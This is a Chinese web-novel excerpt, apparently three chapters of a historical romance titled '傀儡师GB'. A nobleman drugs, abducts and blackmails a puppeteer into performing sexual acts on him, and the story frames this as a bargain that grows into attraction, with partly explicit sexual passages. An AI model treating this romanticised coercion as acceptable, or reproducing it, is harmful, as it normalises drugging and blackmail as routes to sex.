《傀儡师GB》
1. 傀儡师
明杳没想过自己还会回到这里。
此地群山环绕,易守难攻,是各方势力觊觎却始终只能望而却步的天险要道。
他抬起疲惫的眼,看向前方那座屹立在暮色中的城郭。
西岭城。
七年前他来过这里,为避华京那场纷争,勉强将此地当做一个临时的避难所。
如今华京换天,父亲下狱,明家抄没,他倒真的需要这里作为活命的庇护所了。
不远处,城门口站着守卫。
守卫?
七年前,这三不管之地哪有什么正经守卫?不过是些本地帮派的壮丁轮流值守,收些过路费罢了。
如今这些守卫着统一暗青色短打,腰间佩刀,目光锐利地扫视着进出的行人。
“什么人?从哪来?”守卫拦下他。
明杳略挺了挺背脊:“在下白瑜,七年前曾在此置宅。西街槐树巷第三户。”权宜之下,他仍用的当年那假名。
守卫对视一眼,其中年长的那位眉头微皱:“槐树巷第三户?那是城主的私产。”
“城主?”明杳愣住,“此地何时有城主了?”
“三年前就有了。”守卫打量着他,“你说的若是真的,需得去城主府请示。不过近日城主府不见外客。”
明杳心头一沉:“为何?”
守卫瞥他一眼,语焉不详:“城外不太平,城主有令,无凭证者不得擅入。你有何凭证证明那宅子是你的?”
凭证?早在那场抄家中化为灰烬。明杳苦笑,这乱世之中,一纸地契竟比人命还要稀罕。
“我……”他刚要开口,远处忽然传来一阵急促的马蹄声。
守卫们立刻肃立,街道上的行人纷纷让道。一队人马从城门内驰出,为首者黑袍银甲,坐骑是一匹通体乌黑的骏马。
那人戴着遮面的斗笠,看不清面容,但身姿挺拔如松。
经过时,一阵风掀起斗笠下的薄纱。
明杳瞥见一双眼睛,冷淡如冬日的深潭。
他慌乱垂下眼帘,便见到那双紧握缰绳的手——修长、明晰,腕骨处束着玄色腕带,衬得指节愈显清瘦有力。
缰绳在她掌中绷紧,那姿态不像握缰,倒像执刃。
只一刹那,手与眼皆掠过他视线。
他僵在原地。
那双眼,他认得。
那双手……他更忘不了。
即便七年过去,即便她如今一身凛然,再无当初半分隐忍模样,即便他回京后自以为早已将那段荒唐抛却……
可再见,他仍是一眼认出,是她。
邵琉光。
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七年前,也是这个时节,春末夏初。
身在华京需步步为营。明杳一时疏忽,便遭人陷害背上了命债,为暂避风头,他被父亲打发到这个三不管的法外之地。
西岭城不比京都繁华,却也别有山野之趣。只是逛遍了山野,明杳才发现此地商铺多是吃喝一类,鲜有如歌舞坊、明春苑的场合。
他闲得发慌,便常去城西的茶馆听书。
那日说书人正讲《傀儡奇谭》,说的是前朝一位傀儡师能以丝线操控人心,终成一代枭雄的故事。
“要我说啊,咱们西岭如今就有一位傀儡师,虽不至于操控人心,但那手艺……”说书人啧啧两声,“可是能叫木偶活过来的!”
台下有人起哄:“老张头,你说的是邵家那丫头吧?”
“正是邵姑娘!”
接下来的话题,便是那位邵姑娘出神入化的傀儡戏法。
明杳百无聊赖地听着。
傀儡师?他只在华京的年节庙会上,见过那些粗陋的木偶戏,翻来覆去不过那几个老掉牙的故事。
隔日,他仍是无所事事,想起昨日的闲谈,便踱去了城中唯一的梨园。
台上演的正是傀儡戏。
出乎意料的是,那些木偶竟真像被赋予了魂灵。书生挥袖提笔,武将策马扬鞭,一举一动,果真活灵活现。台下看客屏息凝神,不时爆出惊叹。
明杳起初也觉新鲜,但不过半柱香的功夫,那股子新奇便褪了。
手法再妙,终究是死物。
他悄然起身,从侧门踱出,想寻个清静处透口气。侧门外是条窄廊,连接着后台。
一阵风过,撩起了深红色幕布的边角。
明杳的目光逐风而去。
幕布之后,灯火半明半晦。
一道清瘦高挑的身影立在凌乱的戏箱与道具之间,正垂首操控着手中的傀儡。吸引他目光的,首先是那双手。
一双正在操控丝线的手。
十指修长得过分,骨节清晰却不嶙峋,指节灵活收放,游丝般的细线在指间驯顺得如臂使指。
光影流转间,还能看清指腹与虎口处覆着一层均匀的薄茧。
明杳的视线像是被那双手钉住了。
他看了许久,才缓缓上移,看向手的主人。
是个年轻女子,侧脸对着他。
鼻梁挺直,唇色偏淡,不施脂粉的脸在昏黄光线下宛如一块无瑕的冷玉。
她神情很淡,几乎没有什么波动,唯独嘴角噙着一丝因沉浸其中而无意识扬起的细微弧度。
她的目光紧紧追随着手中傀儡的动作,眼睫偶尔轻颤,仿佛正透过那些没有生命的木偶,经历着另一重悲欢离合。
明杳倚在门边,静静看着。
在华京,他是要风得风要雨得雨的明大少爷,见过太多阿谀奉承、权利诱惑,却从未有一刻,像现在这般,被一双手,如此直接而蛮横地攫住心神。
一瞬之间,一个清晰无比的念头,猛然撞进他心底。
他要她。
这双手,这个人,他要据为己有。
一场戏罢,明杳赶在对方退场前起身走到她桌前。
“姑娘这傀儡,卖吗?”
邵琉光头也不抬:“不卖。”
“我出高价。”
“不卖。”
“那可否请姑娘为我定制一个?”
邵琉光终于抬眼,打量他一番,目光在他锦衣华服上停留片刻,声音平淡:“我的傀儡,只赠不卖。公子若非本地人,便请回吧。”
话罢,她提起自己的箱子,转身离开。梨园外,几个原本在闲谈的壮汉见她出来,纷纷站直身子,恭敬地点头致意。
明杳目送她离开,摇了摇扇子,眼中兴味渐起。
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不到两日,随从书梁便查清了邵琉光的底细,正向明杳恭敬禀报。
邵家在西岭的确有些地位。其父母曾是江湖中人,退隐后于此定居,因武艺高强、为人仗义,很得当地人敬重。
两年前二人意外身亡,留下独女邵琉光继承家业。不光是那间傀儡铺子,还有邵家在本地的威望。
“傀儡铺只是幌子,”书梁道,“实则城中许多大小事务,乃至邻近村落的纠纷,常需请邵姑娘出面调停。十里八乡都要给她几分面子。她身边……似乎也聚着些有真本事的人。”
“哦?这三不管的法外之地,倒养出了一位无冕之主?”明杳把玩着折扇,心中有了计较。
当日下午,他换了身料子顶好却不过分张扬的衣袍,亲自去了邵家铺子。
铺子不大,满墙挂着各式傀儡,有孩童玩偶,也有工艺复杂的戏偶。邵琉光正在后院打磨木料,见他进来,眉头微微一皱。
“邵姑娘,”明杳笑吟吟地,“叨扰了。”
邵琉光拍了拍手上的木尘,语气疏淡:“我与公子无缘,傀儡不赠外人。公子还是另寻高明吧。”
邵琉光并非不通情理之人,只是这个男人给她的感觉,让她直觉到某种危险的信号。
“才见两面,姑娘怎就断定无缘?”明杳不退反进,略一拱手,姿态诚挚,“实不相瞒,白某此番前来,并非为了求购傀儡,而是真心仰慕姑娘巧艺,想拜师学些皮毛。”
邵琉光闻言,后退了半步,拉开距离:“那就更不必提了。此技不传外人,公子请回。”说罢,不再给他开口的机会,转身便进了内室。
明杳碰了个不软不硬的钉子,却未气馁,反觉兴味更浓。
此后数日,他寻着各种由头前往铺子,名为观赏傀儡,实则
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目光总不由自主地追随着邵琉光那双或操控丝线,或雕刻木艺的手。
一日,他去时正逢邵琉光在雕刻一尊新偶的面部。
她手中刻刀轻灵地游走于木料之上,木屑如雪花般簌簌落下,渐渐显露出慈悲的菩萨眉目。
“姑娘的手,真是巧夺天工。”明杳不由赞道,目光胶着在那双运动的手上,“不仅能令傀儡活过来,连雕工也栩栩如生。”
邵琉光手中刻刀略顿,没说话,却也没像往常般立刻下逐客令,而是继续专注雕刻。
明杳便也不再出声,只倚在门边,专注地看着。
那双手,指节匀长,用力时微微绷起,显得骨感而充满控制力。放松时,又异常柔软灵巧。
阳光透过窗格,落在她手背与飞舞的薄尘上,构成一幅奇异的画面。
他不禁看得有些痴了,喃喃低语:“这样一双巧手,若是……”
话到嘴边,猛然刹住。
那些难以启齿的,灼热的臆想蓦地翻腾上来,耳根竟有些发热。
他在华京不敢宣之于口,藏了近二十年的那个秘密,在此地……在这个没有人知晓他真实身份的法外之地,竟被这样一个人,这样一双手,狠狠扯开了。
他无法面对那样的自己。
可是……
又有一个声音说:回了华京,没人会知道这里发生的一切。
他看着邵琉光始终淡漠的侧脸,想起这几日他热脸贴冷屁股,也未曾得她半分青眼。
一股混合着挫败与征服欲的恼意悄然滋生。
他何曾对人如此低声下气,又何曾被人如此再三冷拒?
“若是什么?”邵琉光没抬头,清冷的声音却忽然响起。
明杳定了定神,压下心头杂念,索性换了一副神情,那点子伪装出来的温和尽数褪去,语气里带上了几分强硬:“没什么。邵姑娘,我再问你一次,今夜可否来我府上一叙?”
邵琉光停了手,抬眸看他,眼神如冰:“公子,请回。”
“当真不行?”明杳向前一步,声音压低,“你若应允,荣华富贵,锦衣玉食,我皆可许你……”
话音未落,只听“夺”的一声闷响。
邵琉光手中那柄刻刀已脱手飞出,稳稳钉入明杳身前半步之遥的木桩上,入木极深,刀柄犹自微微颤动。
她未曾挪动一下位置,只是眼神彻底冷了下来,如覆寒霜。
明杳呼吸一滞,看着那深深没入木中的刻刀,心头猛地一跳。
他最终什么也没再说,转身离开了铺子。
走出老远,才对书梁悻悻道:“性子这般烈……”
顿了顿,眼底却掠过一丝更浓的兴味,“不过,我喜欢。”
他走后不久,几个身材魁梧的汉子便进了邵家后院。
为首一人看着那柄钉在木桩上的刻刀,皱眉道:“老大,那外乡来的公子哥纠缠你多日了,兄弟们看得都窝火,要不要……给他点教训?”
另一人也道:“是啊,瞧他那眼神就不对劲,几次三番被拒,怕是会生事端。不如我们先……”
“不必。”邵琉光重新拿起一块木料端详,“这种来避风头的纨绔,少惹为妙,省得沾了一身腥臊。他图个新鲜,劲头过了,自然消停。若真敢妄动……”她指尖轻轻划过木料,没有说下去,但那未尽的意味,让几个汉子都闭了嘴。
“是,老大的身手咱们自然放心,只是还需小心些。”几人抱拳,退了出去。
离开院子,几人低声交谈。
“奇了,老大这次脾气怎这般好?上次城东那个泼皮不过是言语调戏两句,当天就被揍得爬着出去。”
“许是顾忌那小子背后的势力?听说来头不小,怕给咱们西岭惹麻烦?”
议论声渐远。
谁也没想到,就在当夜,月黑风高之时,邵琉光在自家后院闻到一丝极淡的甜香,意识便骤然沉入无边黑暗。
待她再度恢复些许知觉,只觉身下颠簸,似在马车上,口不能言,身不能动。
一刻钟后,她便被推进一个弥漫着昂贵熏香气息的地方。
2. 交易
邵琉光彻底恢复意识。
她的手腕被软布束缚,遮眼的布帛不算厚重,光线能透入些许,勾勒出前方一个模糊修长的人影轮廓。
她目光透过布帛紧盯着那抹人影,语气带着点克制的诧异:“是你。”
前方人影动作一顿,随即传来一声低笑:“这么快就猜到了,真聪明。”
脚步声不疾不徐地靠近,下一刻,遮眼的布被摘去。
骤然出现的光线让邵琉光眯了眯眼,随即她看清了那张脸。
烛火映照下,这张曾让她觉得尚可入目的俊朗面孔,此刻嘴角噙着的那抹笑,只让她感到一种居高临下、自以为掌控一切的轻浮与恶意。
邵琉光心中杀意暗涌。
若他敢越雷池一步……
明杳似乎很欣赏她眼中凛冽的寒光,笑意更深了些,转身从桌上端过一盏温茶。
“既然猜中了,该赏你点什么好呢?”他自语般说着,俯身靠近,一只手捏住她的下颌,将杯沿抵上她的唇。
“疯子。”邵琉光偏头欲躲,却被牢牢固定,茶水强行灌入喉中,她呛了一下,狠狠盯住他,“你若敢对我做什么,我必杀你。”
明杳松开手,指腹不甚在意地擦去她唇角的水渍,语气堪称温和:“只是想与邵姑娘交个朋友罢了。放心,我不会对你做什么。”
他顿了顿,欣赏着她愈加冰冷的脸色,“一点软筋散,让你我都安心。现在,可以给你松绑了。”
束缚手腕的软布被解开,邵琉光瞬间积蓄起全身残存的气力,一掌朝他心口推去!
然而,手掌触到他衣料时,力道却软绵绵地消散了。
明杳顺势握住她推来的手腕,指尖在她微微绷起的手背骨节上摩挲了一下,才松开,退后两步,好整以暇地看着她。
“我只是想与你谈一笔交易。”
“绑我来此,下药胁迫,”邵琉光活动着酸麻的手腕,“这可不像是公平正当的交易。”
明杳沉默了片刻,道:“我听说,邵姑娘身边有个叫小柒的丫头,老家在江北?如今江北赤地千里,饿殍遍野,她还有个缠绵病榻的老娘……”
邵琉光瞳孔骤缩,凌厉的目光如刀锋般剐向他。
明杳恍若未见,继续慢条斯理道:“还听说,姑娘与西岭父老情深义重,尤其是……城东的王铁匠曾以心血为你父亲铸剑,情同莫逆。可惜他上月失手打伤了个外乡人,那外乡人…似乎有点来头。”
“够了。”邵琉光打断他,“你到底想做什么?”
明杳转身,从一旁的矮几上取来一本薄薄册子,塞进她的怀里。
“我要你,”
他靠近她耳边,气息拂过她的鬓发,声音低而清晰。
“学会这上面画的……所有技法。”
邵琉光低头,就着烛光展开册页。只一眼,她呼吸便是一窒。这并非寻常的图册,描绘的虽是男子身体,行事的另一方却是女子。姿态、手法、用具……笔触精细甚至堪称考究,却勾勒出她闻所未闻,惊世骇俗的景象。
她猛地抬眸,眼中震惊与荒谬混乱交织,最终化为一丝冰冷的讥诮:“公子……真是好特殊的癖好。”
明杳的脸色微微沉了一瞬,随即又被他用惯常的轻佻掩盖:“你只需回答,应,还是不应?”
“若我不应呢?”
“那王铁匠恐怕难逃一场人命官司。至于小柒的老娘……”他轻轻掸了掸袖口并不存在的灰尘,“能不能熬过这个苦夏,就难说了。”
室内陷入死寂,邵琉光垂眸看着手中那本荒唐的册子,良久,她抬起眼,问:“为什么是我?”
“自然也可以不是你。”明杳背着手,踱开两步,“只是白某初来乍到,尚未遇见比你更合眼缘的。”他转身,目光落在她脸上,又滑向她搁在膝上的手,“你就当是我一时兴之所至。不碰你身子,只借你手艺一用。几日便好。”
邵琉光:“……”
“你就当这是一场交易,我们各取所需。”他再次走近,俯身不由分说地握住她一只手,捏了捏她的指节,像在评估一件器物的质感。
“好好学。明日此时,我来看你功课。”
门扉开合,落锁声传来。
邵琉光独自坐在铺着柔软锦垫的榻上,缓缓收紧了手指。
.
次日,夜深人静。
书梁终究没忍住,在明杳准备踏入那间厢房时,低声开口:“公子,属下有一事不解。”
明杳停下脚步,侧过脸,月光在他轮廓分明的侧脸上投下阴影。
“说。”
“为何非得是邵姑娘?”书梁措辞谨慎,“她在此地颇有根基,咱们能关得住她一时,却难长久。况且,她明显……心不甘情不愿。若是闹大了,被老爷知晓,又该如何是好?公子在京都,什么样的绝色佳人不可得,何苦在这边陲之地,强逼一个浑身带刺的?”
明杳沉默片刻,目光投向紧闭的房门,声音有些飘忽:“我不会对她做什么。”
“那您将她拘在此处……”书梁实在不解。
“放心吧。”明杳打断他,语气里带着点坚持,又仿佛在说服自己,“若她当真宁死不从,我不会……我自有分寸。”
明杳有一个秘密。
一个深埋心底,腐烂又蓬勃的秘密。
自年少懵懂时起,他便知晓自己与旁人不同。他无法从寻常男子的征服与占有中获得快慰,反而在某些梦境里,沉溺于被拥抱、被主导、甚至被疼爱的幻想。
他曾惶恐地怀疑自己是否好男风,可对那些清秀少年,他亦无感。
这种渴望像一条毒蛇,盘踞在他心底。在华京那个人人带着面具,步步惊心的名利场里,他连一丝异样的气息都不敢泄露。
但是在这里,在西岭……天高皇帝远,无人识得真正的明杳。
他可以……
是的,他可以。
这念头一破土,便疯狂滋长。
他为何不能,哪怕只有一次,放纵自己沉入那黑暗甜美的深渊。
这个秘密,他连最亲近的书梁,也未曾透露半分。
明杳屏退了所有护卫,独自推开房门。
屋内光线昏暗。
桌上的晚膳几乎未动,早已凉透。他一眼便看见邵琉光靠在最远的角落,闭着眼,仿佛入睡,但他知道她醒着。
他没说话,只走过去,将几盏过于明亮的烛火熄灭,独留下床边一盏,光线顿时晦暗下来。
然后,他脱去外袍,只着素白中衣,躺在了那张宽敞的床榻上,锦被柔软,却让他身体僵硬。
“你准备好了吗?”他声音有些干涩。
角落的人毫无动静。
明杳深吸一口气,放低了姿态:“你过来……行吗?”
邵琉光缓缓睁开眼,眸色在昏暗中深不见底。她声音冷静无波:“我此刻并未中药,袖中还有一把刀。”
“……我知道。”明杳喉结滚动了一下,“我只是在与你做一笔交易。”
见对方依旧无动于衷,他试图拿出筹码:“你应当明白,我能安然进入西岭,并在此立足,背后自有依仗。若你应允,我可动用我的关系,帮你解决那些……凭你一己之力难以解决之事。”
邵琉光眸色微动。她确实有棘手之事,盘根错节,非强力外力难以破除。
她的视线掠过明杳俊美却略显苍白的脸,此刻那脸上没有令人厌恶的轻浮,反而有种强撑着的脆弱平静,竟让她觉得,没那么可恨了。
“我不会在此地久留,”明杳侧过脸,避开她审视的目光,“你就当……当我是你手中的一具傀儡。你是傀儡师,只需……掌控好你的偶人即可。”
他顿了顿,终究还是补上了无法避免的威胁,却显得色厉内荏,“若实在不愿……你现在便可离开。只是今夜之事,天知地知,你知我知。若有第三人知晓,我纵使倾尽全力,也要西岭不得安宁。”
邵琉光沉默了。
利弊在心头飞速权衡。
屈辱吗?当然,这实在是离经叛道,惊世骇俗,荒谬绝伦,不可理喻。
但,若真如他所言
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,只是一场另类的“操控”,而她能借此换取解决麻烦的资源,甚至,掌握他部分把柄。
这笔交易,似乎也不是全无价值。
况且,从现在的情况看,她若不允,对方定会与她继续耗下去。
她终于站起身,走到床前,居高临下地看着躺在锦被中的男人。
她打开床边早已备好的木箱,里面整齐陈列着一些玉质或角质的光滑物件,形状各异,旁边还有软膏与洁净布帛。
她随手拈起一件,语气平淡无波:“用哪个?”
明杳却伸出手,一把攥住了她的手腕,掌心滚烫,带着点细微的颤抖:“那些……先不急。”
邵琉光被他拽得俯身,面无表情地胡乱摸索了一阵,不由得眉头紧蹙:“你如此紧绷,如何继续?”
“抱歉。”明杳闭上眼,睫毛颤得厉害,“我……未曾与女子这般……亲近过。你……容我适应片刻。”
半晌,他似终于积蓄起一点勇气,眼睫微掀,眸光潋滟却躲闪:“你……寻个合适的……进来……”
邵琉光依言尝试,却因毫无经验且光线昏暗,总是不得其门。她有些不耐,准备抽身:“找不准位置。我将灯点亮些。”
“不行!”明杳立刻收紧手指,拽住她衣角,耳根红透,“就这样……我……我帮你。”他引着她的手,动作笨拙且僵硬。
邵琉光心头那股被强行拉入这场荒诞交易的恼意再次升起:“你既放不开,又不许我看清,这般扭捏,要耗到几时?”
明杳仿佛被刺中,忽然撑着坐起,另一只手攥住她的衣襟,将她猛地拉近。
两人气息瞬间交缠,他逼视着她,眼中羞愤与水光交织,压低的声音带着破罐破摔的执拗:“你离我这么远……当然不行!近些!你操控那些傀儡时,也离得这般远吗?”
他目光描摹过她的眉眼,落在她紧抿的唇上,声音忽然低了下去:“你看看我……难道不比你那些木头雕刻的死物,更…精致鲜活?”
骤然拉近的距离,让邵琉光清晰地看到他脸上强装镇定下深藏的紧张,以及因她靠近而不自觉轻颤的唇。
邵琉光心底闪过一丝微妙又荒唐的震颤。
她抿紧唇,顺着他的引导,手下蓦然用力。
“呃!”明杳闷哼一声,剧痛夹杂着陌生的刺激席卷而来,他身体本能地做出反应,一脚踹在了邵琉光腰侧。
邵琉光被踹得跌坐在地,愣了愣,下意识看向自己的手,刚刚那种奇怪的陌生的诡异的感觉……实在……太过荒谬了!
“愣着做什么?”床上传来明杳咬牙切齿又带着难堪喘息的声音,“滚上来!”
长夜,这才真正开始。
某一刻,邵琉光的意识恍惚地飘远。
她想起自己初学傀儡戏的时候。
爹娘带她看的第一场傀儡戏,演的是一出爱别离的悲剧。
木偶在艺人手中栩栩如生,演绎着求不得、怨憎会。她当时看得涕泗横流,心里涨满了不甘。
为何傀儡的命运只能被线牵着走向悲伤?她想改变它。
于是她开始学。
削木料割伤手,缠丝线勒出血痕,练习指法到关节酸痛。
很难,很苦。
但爹娘总鼓励她,她也渐渐发现自己在指尖操控上的天赋。
日复一日,她手中的木偶终于能随心而动,仿佛被注入了魂灵。人人都夸她的傀儡活灵活现,像是有了自己的悲喜。
直到有一日,一个陌生又好看的少年越过傀儡,径直走到她面前,灼灼目光落在她布满薄茧的手上,赞叹道:“你的手真巧。”
然后,那少年伸出手,紧紧握住了她的手腕,掌心滚烫……
邵琉光猛地惊醒。
窗外天光已是大亮,室内寂静无声。
她独自躺在凌乱的床榻上,身边空空如也,只余下空气中尚未散尽的陌生气息,证明昨夜并非一场荒诞梦境。
那个如同精致傀儡般任她施为,又会在极度刺激时露出脆弱颤栗的男人,已然消失无踪。
3. 技术高超
邵琉光披上衣袍,系紧腰带,走向房门。房门依旧被从外反锁。她用力拉了拉,门栓发出沉闷的声响。
这动静立刻惊动了院子里的人。
脚步声靠近,停在门外,明杳的声音带着一丝刚睡醒的慵懒:“你醒了?饿吗?我让厨房熬了粥。”
邵琉光没有回应,只从门缝间看到一片月白衣角,以及偶尔低垂时闪过的眼睫。
“放我走。”她冷硬开口,“今日我有事。”
门外静了一瞬,随即传来钥匙插入锁孔的轻微咔哒声。
“嗯。”他应着,语气听不出情绪,“吃了再走。”
就在门锁落下的刹那,邵琉光猛地将门拉开。一道寒光闪过,她袖中滑出的短刀已抵在了明杳的脖颈上,刀锋紧贴着他微微起伏的喉结。
远处原本看似散漫的护卫瞬间绷紧,手按刀柄,蓄势待发。
冰冷的刀锋贴着皮肤,明杳却低低笑了起来。
“我若死了,倒不打紧。”他抬眼,不疾不徐地补充,“只是我这些忠心的护卫,怕是不会善罢甘休,要让西岭城陪我殉葬……邵姑娘,你确定要试试吗?”
“你到底还想怎样?”邵琉光实在不明白,这位举止惊世骇俗的大少爷到底要做什么。
明杳微微偏头,笑容里带着点遗憾和理所当然:“昨夜……未尽兴。你学得,实在算不得好。”
“既如此,公子还是另寻高明吧。我与白公子无缘,更不会再为你驱使。”
说罢,邵琉光收刀后退半步,径直转身,快步穿过庭院。
明杳靠在门框上,看着她远去的背影,抬手轻轻抹过颈侧,指尖沾了一抹殷红,他唇角的笑意更深,朝着向邵琉光紧张靠拢的护卫随意挥了挥手:“让她走。”
邵琉光回到自己的小院,关上门,背靠着门板深深吸了口气。
晨间的冷意让她混乱的头脑清醒了些许,但某些不合时宜的画面和声音却反复闪现。
她用力甩了甩头,当务之急是收拾好去梨园的箱笼。她走向平日存放傀儡的木架,架上却空空如也。她那些精心制作,视若珍宝的傀儡娃娃,全都不见了!
无需多想,就知道是谁干的。
一股怒火直冲头顶,但旋即被她强行压下。
现在不是立刻去兴师问罪的时候。这个自称“白公子”的外乡纨绔,其手段和势力显然远超她最初的预估。
能神不知鬼不觉将她掳走两日,且未在西岭掀起任何波澜,势力不容小觑。这两日,也不知长啸他们是否来找过她,外间又是什么情形。
她唤来邻家孩童,给了几个铜板,让其去梨园给张老板捎信,只说今日家中有急事,戏目暂停。打发走孩童,她独自坐在冷清的堂屋里,看着空荡荡的木架,心绪烦乱。
她实在不愿立刻去面对那张可能写满得意与算计的脸。
半个时辰后,担忧终究压过了心头的不忿与羞恼。那些不仅仅是木偶,更是她的心血,是她与父母共度的记忆。
她起身,跨出了院门。
刚拐过街角,便看见了那个颀长的身影。
明杳刚从一家早点铺子出来,手中还拿着个油纸包。见到她,他脸上没有丝毫意外,反而极其自然地迎了上来,仿佛昨日种种胁迫与今晨的刀锋相向都未曾发生。
“吃早饭了吗?”他语气熟稔得像老友寒暄。
邵琉光停下脚步,面无表情:“我的东西……”
“好着呢。”明杳打断她,“先陪我逛逛。”
话音未落,他已极其自然地伸出手,握住了她的手腕。
邵琉光一愣,立刻便要抽回。明杳却借着靠近的姿势,微微俯身,用只有两人能听见的声音低语:“我思来想去,你昨夜那般……或许是因为对我无半分情意……今日我恰好得空,我们……培养一下。”
谁要同你培养这种鬼感情?!邵琉光心头火起。
明杳察觉了她的杀意,指尖在她腕间脉搏处轻轻一点,低笑道:“也就半日。你的那些宝贝,我请了城中最好的手艺人正在清理养护,保证今晚不仅完璧归赵,还能焕然一新。”
说到手艺人,邵琉光想起什么,道:“西岭城中能人异士颇多,白公子财大气粗,不如另寻一位与公子两情相悦的,方得趣味。”最后几个字,几乎是从牙缝中挤出。
明杳凝视着她,忽然轻轻叹了口气:“可我此刻,偏偏只对你这一双手,这个人……感兴趣。眼里,再容不下旁人了。”
“你为何非要强人所难?”
“全是难吗?”明杳反问,目光在她唇上停留一瞬,“我看你昨夜后来……也并非全无……”
“住口!”邵琉光厉声打断,眼中寒意骤升,“你几番相逼,当真以为我不会杀你?”
“抱歉。”明杳从善如流地松开了些许力道,退开半步距离,脸上重新挂起那副令人生厌的仿佛一切尽在掌握的浅笑,“不如这样,你仍当这是一笔交易。我帮你解决一件你棘手的难事,你便多陪我一日。这西岭城中,让邵姑娘你束手无策,却又关乎乡邻福祉的麻烦……想必不止一两件吧?”
他微微倾身,笑容里带着洞悉和引诱:“邵姑娘女承父志,既有守护一方之心,何不好好利用一下我这个……人傻钱多,又恰好对你有些兴趣的外乡冤大头呢?”
邵琉光目光锐利地看向他。
他竟然调查她,做到这个份上……
明杳笑得可恶,话语更是直白得近乎无耻,却偏偏戳中了她心中最在意的软肋。那些盘踞在西岭,她独自挣扎许久却难以撼动的阴影……
邵琉光暗暗深吸一口气,默念小不忍则乱大谋。
罢了,不过是将操控傀儡的技艺,施展在一个……特殊的,活生生的“物件”上。本质上,并无不同。
见她沉默不语,抗拒的姿态也明显软化,明杳心下了然,再次牵起她的手,这次只是虚虚握着她的手腕,带着她走向旁边一家面铺。
“老板,两碗馄饨。”他扬声吩咐,然后按着她坐下,自己坐在对面,将那油纸包着的包子推到她面前,“趁热吃。”
邵琉光抬眸看了他一眼。
收敛了那些刻意为之的轻浮与强势,他的侧脸在晨光中显得轮廓分明,眉眼低垂时,竟显出几分罕见的沉静。
如果不去想那些令人恼火的纠缠与胁迫,单看这张脸……倒也不算讨厌。
可邵琉光深知,面前这个看似光鲜的富家少爷背地是怎样一副面孔,她始终不太自在,勉强咽了几口馄饨,就放下勺子。
“那本册子你是从何处得来?”
明杳坦然道:“我自己画的。”
邵琉光一怔。
明杳观察着她的表情,唇角那点惯常的笑意淡了些:“你会不会觉得……我很奇怪?离经叛道,甚至……不堪入目?”
邵琉光沉默少顷,如实道:“一开始,确实觉得惊世骇俗。但你来自外乡,或许外界风物本就与边城不同。世界之大,无奇不有,便也不觉奇怪了。”
这话半是真言,半是试探。她想知道的,是他这份特殊背后,是否藏着更多可堪利用的秘密。
明杳看了她一会儿,忽然轻轻笑了:“撒谎。”却也没再追问,只低头继续吃那碗快凉了的馄饨。
饭后,邵琉光以有要事为由先行离开了。
明杳刚回到府上,书梁也从驿站回来,手中捧着一个檀木箱子和一封信。
“少爷,华京来的,老爷亲笔。”
明杳接过,拆开快速浏览,面上的轻松渐渐淡去。
“老爷说,京中的事比预想的棘手,还需些时日周旋。让少爷您安心再住上一段。”书梁将檀木箱子放在桌上,“这是老爷提前给您备下的生辰礼。说待您回去,再补行冠礼。只是今年这生辰……怕是只有属下陪您过了。”
明杳的目光落在那箱子上,良久,扯了扯嘴角,眼底却没什么笑意。
他打开箱子,里面有几套质料上乘、做工精细的男装,颜色雅致清贵。他翻拣了几下,拎出两件比在身上,问书梁:“哪件更衬我?”
“少爷您穿什么都好看。这件雨过天青色的显俊逸,这件竹月色绣银纹的更显贵气……”书梁犹豫了一下,忍不住问,“少爷,您这般用心,该不会是预备穿去给邵姑娘看吧?”
明杳不答,只将两件衣服都拿在手中比划。
作为明杳的贴身侍从,书梁自知责任重大,不得不提醒:“可邵姑娘她……她对您似乎并无此意。少爷,强扭的瓜不甜,您这般终究是徒劳。再说了,即便两情相悦,您也不可能带她回京都啊,我听说邵家……邵姑娘好像不能离开西岭。”
明杳瞥了书梁一眼,语气听不出喜怒:“我现在没想那么远。”
他不过是趁着天高皇帝远,想任性放纵一把,至于以后的事,不想,也懒得想。
入夜,明杳换上新衣。
竹月色绸料在烛火下流光溢彩,银线暗纹随着动作若隐若现,确将他衬得越发清贵逼人。
他在房中踱了几步,又坐回窗边,如此循环往复。约定的人迟迟未到。
起初的期待渐渐被烦躁取代。他起身,披了件外袍走到院门口,吩咐守在一旁的下人:
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“去看看,人来了没有。”
下人应声而去,不一会儿回来禀报:“少爷,没见邵姑娘身影。”
明杳脸色沉了沉,索性就倚在门边等着。
直到月上中天,一个熟悉的身影才姗姗出现在小径尽头。
邵琉光手中提着她那个装着各色器具的木箱,脸上没什么多余的表情。
明杳直起身,看着她走近,然后,擦肩而过,那句憋了许久的“你怎么才来”在舌尖滚了滚,最终只化作一声冷哼。
邵琉光越过他径直入了屋,将木箱放在桌上,走到盆架前净手。她一边用布巾细细擦干每一根手指,一边头也不回地道:“可以开始了。你躺下吧。”
语气平淡无波,仿佛秉公办事,与他预想中的任何场景都不同。没有羞怯,没有抗拒,甚至没有一丝多余的情绪,仿佛他真的是个等待被检修的物件。
明杳心中那点期待,像被冷水当头浇下,瞬间熄灭。
他走到榻边坐下,脸色冷了下来。
邵琉光净完手,转身见他仍坐着不动,便走过来,伸手要去解他衣襟的盘扣。
就在此时,明杳骤然抬手握住她手腕,引着她的手贴在自己微微起伏的胸膛上,绸料之下,是他温热的肌肤和略快的心跳。
邵琉光手一僵,抬眸看他:“干什么?”
明杳看着她近在咫尺依旧冷静的眼,喉结动了动,声音有些发涩:“……你登台前,难道不需要先跟你的傀儡……沟通一下感情?”他试图让语气带上点惯有的调笑,却不太成功。
“你不一样。”邵琉光想抽回手,却被他握得更紧,“不必这么麻烦。”
“哪里不一样?”明杳忽然用力,将她往自己身上一扯,邵琉光猝不及防,被他拉得踉跄一下,险些扑倒在他身上。她立刻用手撑住榻沿,稳住身形,眼中已带了恼意。
明杳却在她发作前,抢先开口:“就当最后一次吧。听我的,依着我点……行不行?”
邵琉光蹙眉,没应声。
明杳松开她的手,身体向后靠去,微微阖眼,叹了口气:“今夜过后,我另寻他人。”他顿了顿,自嘲般低语,“强扭的瓜终究不甜。我还是……喜欢甜瓜。”
听到他明确表示另寻他人,邵琉光心下一松。
只要过了今夜……
也就一夜而已……
“来吧。”明杳重新睁开眼,眼底那些复杂的情绪被他尽数掩去,又恢复了那点玩世不恭,“让我看看……西岭第一傀儡师真正的手艺。”
……
压抑的喘息声在她耳畔响起,起初细碎,随着她指尖的动作逐渐变得沉重凌乱。
她能感受到那具紧绷而温热的躯体在她手下颤抖绷直,又无力地松懈。
声音与触感、透过掌心传递而来的战栗与失控,像细密的小针,扎在邵琉光原本平静无波的心湖上。
烛火晦暗,看不分明。
